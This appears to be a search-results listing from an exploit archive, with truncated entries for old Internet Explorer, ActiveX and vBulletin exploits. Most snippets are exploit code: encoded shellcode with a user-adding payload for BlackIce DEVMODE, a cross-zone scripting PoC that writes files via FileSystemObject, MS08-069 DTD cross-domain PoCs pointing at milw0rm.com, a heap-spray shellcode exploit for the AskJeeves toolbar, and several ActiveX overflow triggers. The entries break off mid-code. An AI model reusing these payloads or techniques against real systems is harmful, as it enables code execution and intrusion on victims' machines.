86 matches found
Oracle - Document Capture BlackIce DEVMODE
var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...
IE Print Table of Links Cross-Zone Scripting
No description provided by source. html body 点击选项，选中打印链表列表，点打印 a href=”http://www.bl.com?zzz=dsasad script defer var ForWriting = 2; var strFile = ‘c:\test2.js’; var objFSO = new ActiveXObject’Scripting.FileSystemObject’; var objStream = objFSO.OpenTextFilestrFile,ForWriting,true,false;...
Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069
No description provided by source. html body KB955218 - CVE-2008-4029 - JA script type="text/javascript" var dom = new ActiveXObject"Msxml2.DOMDocument.3.0"; dom.async = false; var url = "http://www.milw0rm.com/forfun.dtd"; var xml = "!DOCTYPE pwn SYSTEM '" + url + "'"; if dom.loadXMLxml == 0...
Microsoft XML Core Services DTD - Cross-Domain Scripting (MS08-069)
Microsoft XML Core Services DTD - Cross-Domain Scripting MS08-069 KB955218 - CVE-2008-4029 - JA var dom = new ActiveXObject"Msxml2.DOMDocument.3.0"; dom.async = false; var url = "http://www.milw0rm.com/forfun.dtd"; var xml = ""; if dom.loadXMLxml == 0 alert"Blue or Red Pill? " +...
Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069
Exploit for unknown platform in category remote exploits =================================================================== Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069 =================================================================== KB955218 - CVE-2008-4029 - JA var do...
vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit
No description provided by source. / ----------------------------- Author = Mx Title = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm Software = vBulletin Addon = Visitor Messages Version = 3.7.3 Attack = XSS/XSRF - Description = A critical vulnerability exists in the new vBulletin 3.7.3 softwa...
Microsoft Internet Explorer - Print Table of Links Cross-Zone Scripting
!-- Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability Author: Aviv Raff http://aviv.raffon.net/ Summary Internet Explorer is prone to a Cross-Zone Scripting vulnerability in its “Print Table of Links†feature. This feature allows users to add to a printed web page an...
Ourgame GLWorld 2.x - 'hgs_startNotify()' ActiveX Buffer Overflow
milw0rm.com 2008-02-19...
MS Internet Explorer 6 (Internet.HHCtrl) Heap Overflow Vulnerability
No description provided by source. !-- http://browserfun.blogspot.com/ The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. This bug is interesting because ...
dxmsft-overflow.txt
There are multiple stack overflows in dxmsft.dll version 6.3.2900.3199Image DirectX Transforms. This DLL exposes DirectX Image Transform objects which are safe for scripting. The issue is with the Color property of certain objects, so I am assuming this property is inherited from a base interface...
[Full-disclosure] ComponentOne FlexGrid 7.1 Light Multiple Stack Overflows
The ComponentOne FlexGrid 7.1 VSFlexGrid.VSFlexGridL has multiple stack overflows. I have not tested code execution nor do I remember what this component was installed with. PoC as follows: -------------------- !-- written by e.b. -- html head script language="JavaScript" DEFER function Check var...
flexgrid-overflow.txt
The ComponentOne FlexGrid 7.1 VSFlexGrid.VSFlexGridL has multiple stack overflows. I have not tested code execution nor do I remember what this component was installed with. PoC as follows: -------------------- function Check var s = "AAAA"; while s.length -------------------- Elazar...
[Full-disclosure] WebEx GPCContainer Memory Access Violation
There is a memory access violation in the InitParam and SetParam functions. PoC as follows: --------------------- !-- Written by e.b. -- html head script language="JavaScript" DEFER function Check var obj = new ActiveXObject"GpcContainer.GpcContainer.1"; obj.InitOaram"A"; /script /head body...
[Full-disclosure] Adobe Shockwave ShockwaveVersion() Stack Overflow
There is a stack overflow in ShockwaveVersion function. I have not been able to execute code via this overflow. PoC is as follows: ----------------------- html head script language="JavaScript" DEFER function Check var s = "AAAA"; while s.length 768 768 s=s+s; var obj = new...
Adobe Shockwave ShockwaveVersion() Stack Overflow PoC
No description provided by source. html head script language="JavaScript" DEFER function Check var s = "AAAA"; while s.length 768 768 s=s+s; var obj = new ActiveXObject"SWCtl.SWCtl"; //233C1507-6A77-46A4-9443-F871F945D258 obj.ShockwaveVersions; /script...
Adobe Shockwave ShockwaveVersion() Stack Overflow PoC
Exploit for unknown platform in category dos / poc ===================================================== Adobe Shockwave ShockwaveVersion Stack Overflow PoC ===================================================== function Check var s = "AAAA"; while s.length 0day.today 2018-01-10...
Adobe Shockwave - ShockwaveVersion() Stack Overflow (PoC)
Adobe Shockwave - ShockwaveVersion Stack Overflow PoC function Check var s = "AAAA"; while s.length milw0rm.com 2007-11-08...
AskJeeves Toolbar 4.0.2.53 activex Remote Buffer Overflow Exploit
No description provided by source. html SCRIPT language="javascript" // This is new technique I invent call 'heap fill attack' var str0ke = 0x0d0d0d0d; var sucks = unescape // Launch the system calculator 100 times because what else?...
askjeeves-overflow.txt
// This is new technique I invent call 'heap fill attack' var str0ke = 0x0d0d0d0d; var sucks = unescape // Launch the system calculator 100 times because what else? // This code currently not work on Solaris/Sparc "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" +...